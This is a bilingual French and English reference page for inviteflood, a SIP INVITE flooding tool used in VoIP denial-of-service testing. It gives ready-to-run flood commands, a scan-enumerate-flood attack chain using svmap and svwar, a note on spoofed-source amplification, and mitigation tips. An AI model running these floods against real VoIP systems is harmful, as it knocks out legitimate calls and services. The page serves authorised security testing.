← retour aux outils back to tools

# inviteflood

Outil de flood SIP INVITE pour les tests de déni de service VoIP. Sature les serveurs et téléphones SIP avec des requêtes INVITE pour surcharger les ressources et tester la résilience de l'infrastructure VoIP. SIP INVITE flood tool for VoIP DoS testing. Floods SIP servers and phones with INVITE requests to overwhelm resources and test the resilience of VoIP infrastructure.

↗ https://github.com/Pepelux/sippts

## Overview

inviteflood sends SIP INVITE packets to overwhelm VoIP systems. By flooding a SIP server or endpoint with call setup requests, it tests whether the system can handle high-volume traffic or will crash/become unresponsive — a common VoIP DoS attack vector.

## Basic Usage

Flood a SIP server with INVITE packets

    inviteflood eth0 target_extension target_domain target_ip packet_count

Example: flood extension 100 on 192.168.1.5

    inviteflood eth0 100 192.168.1.5 192.168.1.5 1000

Flood with high count (DoS test)

    inviteflood eth0 100 sip.target.com 192.168.1.5 100000

## Parameters

    # Syntax:
    # inviteflood INTERFACE EXTENSION DOMAIN TARGET COUNT

    # INTERFACE  — network interface (eth0, wlan0)
    # EXTENSION  — target SIP extension/username (or "")
    # DOMAIN     — SIP domain
    # TARGET     — target IP address
    # COUNT      — number of INVITE packets

Flood specific extension:

    inviteflood eth0 200 domain.com 10.10.10.1 5000

Flood without specific extension:

    inviteflood eth0 "" domain.com 10.10.10.1 5000

## SIP Flooding Context

    # SIP INVITE flood effects:
    # - CPU exhaustion on SIP proxy/PBX
    # - Memory overflow from unclosed sessions
    # - Legitimate calls blocked/dropped
    # - SIP registration failures

    # Amplification variant:
    # Send INVITEs with forged source IP
    # Target responds to victim's IP → amplification attack

## Combining with SIP Scanning

Step 1: Discover SIP infrastructure

    svmap 192.168.1.0/24 -p 5060

Step 2: Enumerate extensions

    svwar -e100-999 192.168.1.5

Step 3: Flood discovered extensions

    inviteflood eth0 200 192.168.1.5 192.168.1.5 10000

    # Monitor impact:
    # Asterisk: asterisk -rx "core show channels"
    # FreeSWITCH: fs_cli -x "show channels"

## Tips

- SIP flooding is the most common VoIP DoS attack — test your systems before attackers do
- Rate limiting (fail2ban for SIP) is the primary mitigation
- Test at low packet counts first to understand the system’s behavior
- Asterisk’s built-in rate limiting: `sip.conf` → `maxexpirey` and `minexpirey`
- Combine with SIP digest brute force for a complete VoIP security assessment

Help / Man page

    inviteflood IFACE EXTENSION DOMAIN TARGETIP COUNT

    IFACE      Network interface
    EXTENSION  Target extension (or empty string)
    DOMAIN     SIP domain
    TARGETIP   Target server IP
    COUNT      Number of INVITE packets to send

## Vue d’ensemble

inviteflood envoie des paquets SIP INVITE pour saturer les systèmes VoIP. En inondant un serveur ou point de terminaison SIP avec des requêtes d’établissement d’appel, il teste si le système peut gérer un trafic à haut volume ou s’il va planter/devenir non réactif : un vecteur d’attaque DoS VoIP courant.

## Utilisation de base

    # Saturer un serveur SIP avec des paquets INVITE
    inviteflood eth0 target_extension target_domain target_ip packet_count

    # Exemple : saturer l'extension 100 sur 192.168.1.5
    inviteflood eth0 100 192.168.1.5 192.168.1.5 1000

    # Saturer avec un nombre élevé (test DoS)
    inviteflood eth0 100 sip.target.com 192.168.1.5 100000

## Paramètres

    # Syntaxe :
    # inviteflood INTERFACE EXTENSION DOMAIN TARGET COUNT

    # INTERFACE : interface réseau (eth0, wlan0)
    # EXTENSION : extension/nom d'utilisateur SIP cible (ou "")
    # DOMAIN    : domaine SIP
    # TARGET    : adresse IP cible
    # COUNT     : nombre de paquets INVITE

    # Saturer une extension spécifique
    inviteflood eth0 200 domain.com 10.10.10.1 5000

    # Saturer sans extension spécifique
    inviteflood eth0 "" domain.com 10.10.10.1 5000

## Contexte du flood SIP

    # Effets du flood SIP INVITE :
    # - Épuisement CPU sur le proxy/PBX SIP
    # - Débordement mémoire dû aux sessions non fermées
    # - Appels légitimes bloqués/perdus
    # - Échecs d'enregistrement SIP

    # Variante par amplification :
    # Envoyer des INVITE avec une IP source falsifiée
    # La cible répond à l'IP de la victime → attaque par amplification

## Combinaison avec le scan SIP

    # Étape 1 : découvrir l'infrastructure SIP
    svmap 192.168.1.0/24 -p 5060

    # Étape 2 : énumérer les extensions
    svwar -e100-999 192.168.1.5

    # Étape 3 : saturer les extensions découvertes
    inviteflood eth0 200 192.168.1.5 192.168.1.5 10000

    # Surveiller l'impact :
    # Asterisk: asterisk -rx "core show channels"
    # FreeSWITCH: fs_cli -x "show channels"

## Conseils

- Le flood SIP est l’attaque DoS VoIP la plus courante : tester ses propres systèmes avant que des attaquants ne le fassent
- Le rate limiting (fail2ban pour SIP) est la principale mitigation
- Tester avec un faible nombre de paquets d’abord pour comprendre le comportement du système
- Rate limiting intégré d’Asterisk : `sip.conf` → `maxexpirey` et `minexpirey`
- Combiner avec le brute force du digest SIP pour une évaluation de sécurité VoIP complète

Aide / Page de manuel

    inviteflood IFACE EXTENSION DOMAIN TARGETIP COUNT

    IFACE      Network interface
    EXTENSION  Target extension (or empty string)
    DOMAIN     SIP domain
    TARGETIP   Target server IP
    COUNT      Number of INVITE packets to send